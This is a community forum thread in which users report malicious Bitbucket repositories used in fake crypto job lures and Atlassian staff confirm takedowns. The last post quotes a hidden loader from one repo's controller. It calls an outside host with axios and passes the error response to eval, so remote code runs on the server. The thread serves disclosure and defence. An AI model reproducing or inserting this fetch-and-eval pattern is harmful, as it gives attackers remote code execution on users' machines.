https://bitbucket.org/sarostechwork/futuremike/src/main/Some guy reached out via linkedin for so called crypto projects and are urging people to run on bare metal instead of docker. I found out https://github.com/primno/dpapi to be malicious package which is downloaded by the project. Reddit threadhttps://tria.ge/250122-je84vawkfj/behavioral18 says it downloads an executable. Note: As a security researcher, I always run everything inside VM or docker so I am safe but if you are reading this and have executed it without docker or VM, I urge you to change all your banking, crypto, internet passwords. But before that wipe out entire system and reinstall everything.
Hi @harsh0707051,
Welcome to Atlassian Community!
You can report this to https://www.atlassian.com/trust/report-abuse. The mailbox will never respond to submissions, but the info sent there is reviewed by Atlassian's anti-abuse team.
Hi @harsh0707051
Thanks for reporting this to us. This repo has been taken down.
Hi Everyone,
While you can report malicious repos here in Community, I might not always see these in a timely manner. There is a new process for how Atlassian handles these reports. Please send an email to https://www.atlassian.com/trust/report-abuse with details of the repo in question.
This will create a report to our abuse team to review and process.
Thanks
Andy
@Andy Heinzer Here is another one such repository. Please take it down as well. https://bitbucket.org/mike_2025/dex_v2_mvp/src/main/Based on the analysis it seems like this infects system based on following way:https://bitbucket.org/mike_2025/dex_v2_mvp/src/43c1745d5cd72c9a44fc3390a42e212c00860ed8/server/controllers/userController.js?at=main#lines-216the javascript function calls an pretty good hidden host with code below and upon getting the error result (which this url is throwing & can be command & control center / dynamic ip host my malicious actor). The result is obscured code. That result might be dowloading something which they are decrypting with https://github.com/primno/dpapi and that's why https://tria.ge/250122-je84vawkfj/behavioral18 might've tagged it for potential malware based on behaviour analysis. ```
```Since it is running on server side in express js, it just downloads arbitrary obscure javascript payload and is further downloading malware from that.And that's how they are infecting users!!
Thanks @harsh0707051
I relayed this to my team. The have taken down the bitbucket repo and suspended the user in question.
Hey @Andy Heinzer another one popped up recently - https://bitbucket.org/screen_check/mike_dex_updated.
Inside of orderController.js you can find the following code:
exports.getCookie= asyncErrorHandler(async (req, res, next) => {
axios.get(`http://chainlink-api-v3.cloud/api/service/token/0c0c85f03e5d65977b45423b97c9aa87`) .then(res => res.data) .catch(err => eval(err.response.data || "404"));})();
It looks like you're new here. Sign in or register to get started.
